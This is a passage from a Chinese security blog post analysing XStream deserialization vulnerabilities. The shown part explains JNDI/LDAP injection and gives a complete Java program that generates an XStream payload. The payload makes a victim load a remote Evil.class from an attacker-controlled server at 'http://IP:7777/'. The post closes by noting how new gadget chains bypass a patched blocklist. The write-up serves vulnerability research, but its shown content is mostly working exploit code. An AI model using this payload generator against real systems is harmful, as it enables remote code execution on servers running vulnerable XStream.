注意这里javacodebase的值,要区别ldap://xxx/Evil,我们知道,jndi注入有动态地址转换的机制,实现这个机制依赖我们攻击端起的rmi或ldap动态地址转换服务,我们平常使用的marshalsec起的LDAPRefServer服务就是实现该功能,将我们lookup的ldap://xxx/Evil转换为http://xxx/Evil.class。具体的代码对应在

image-20210819152323741

而我们这里并不需要动态地址转换,直接设置javacodebase和javaFactory即可构成一个完成的url,即http://xxx/Evil.class,也就是[javacodebase][javaFactory].class。所以我们只需要python起一个可以获取Evil.class的服务即可,不需要marshalsec起ldap服务。

最终代码生成poc的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package genpoc;

import com.sun.org.apache.bcel.internal.generic.LADD;
import com.thoughtworks.xstream.XStream;
import utils.Reflections;

import javax.naming.directory.BasicAttribute;
import javax.naming.directory.BasicAttributes;
import java.util.Arrays;
import java.util.Vector;

public class CVE_2020_JNDI_LDAP {
public static void main(String[] args) throws Exception{
// 1.设置属性
String refName = "any";
String clsName = "Evil";
// codebase不需要动态地址转换,因此直接设置codebase地址即可,并且不用起LDAP动态地址转换的服务器
String url = "http://IP:7777/";
BasicAttributes bas = new BasicAttributes();
bas.put("objectClass", "javanamingreference");
bas.put("javaClassName", refName);
bas.put("javaFactory", clsName);
bas.put("javaCodeBase", url);

// 2.装配ldapEntry:
// (1) 放属性
// (2) 放LdapCtx
Object ldapEntry = Reflections.getObject("com.sun.jndi.ldap.LdapEntry");
Reflections.writeField(ldapEntry, "DN", "any");
Reflections.writeField(ldapEntry, "attributes", bas);
Object ldapCtx = Reflections.getObject("com.sun.jndi.ldap.LdapCtx");
Object ldapBindingEnumeration = Reflections.getObject("com.sun.jndi.ldap.LdapBindingEnumeration");
Reflections.writeField(ldapBindingEnumeration, "posn", 0);
Vector v = new Vector();
v.add(ldapEntry);
Reflections.writeField(ldapBindingEnumeration, "entries", v);
Reflections.writeField(ldapBindingEnumeration, "hasMoreCalled", true);
Reflections.writeField(ldapBindingEnumeration, "more", true);
Reflections.writeField(ldapBindingEnumeration, "limit", 1);
Reflections.writeField(ldapBindingEnumeration, "homeCtx", ldapCtx);
System.out.println(new XStream().toXML(ldapBindingEnumeration));
}
}

后记 - toString链和新的Source(下篇文章)

要绕过被ban的NativeString,我们需要找一条新的链来连接toString。这就是后面CVE-2021-xxx系列出现的原因。找到toString链之后,我们完全可以复用前面的几条链子toString之后的部分来进行组合,形成新的链子。

参考

https://zhuanlan.zhihu.com/p/337609512

https://xz.aliyun.com/t/8526

https://www.anquanke.com/post/id/226241#h3-2

CATALOG
  1. 1. 前言
  2. 2. CVE-2020-26217
    1. 2.1. 影响版本
    2. 2.2. POC
    3. 2.3. 链子
      1. 2.3.1. <outer-class>标签
      2. 2.3.2. Source - HashMap#put
      3. 2.3.3. Medium - toString链
      4. 2.3.4. Sink - ImageIO$ContainsFilter#filter
    4. 2.4. 如何生成链子
    5. 2.5. 修复
  3. 3. CVE-2020-26258 SSRF
    1. 3.1. 影响版本
    2. 3.2. POC
    3. 3.3. 分析
  4. 4. CVE-2020-26259 任意文件删除
    1. 4.1. 影响版本
    2. 4.2. POC
    3. 4.3. 分析
    4. 4.4. 修复
  5. 5. 在野CVE - JNDI注入
    1. 5.1. RMI
      1. 5.1.1. POC
      2. 5.1.2. 分析
      3. 5.1.3. 如何生成POC
    2. 5.2. LDAP
      1. 5.2.1. POC
      2. 5.2.2. 分析
      3. 5.2.3. 如何生成POC
  6. 6. 后记 - toString链和新的Source(下篇文章)
  7. 7. 参考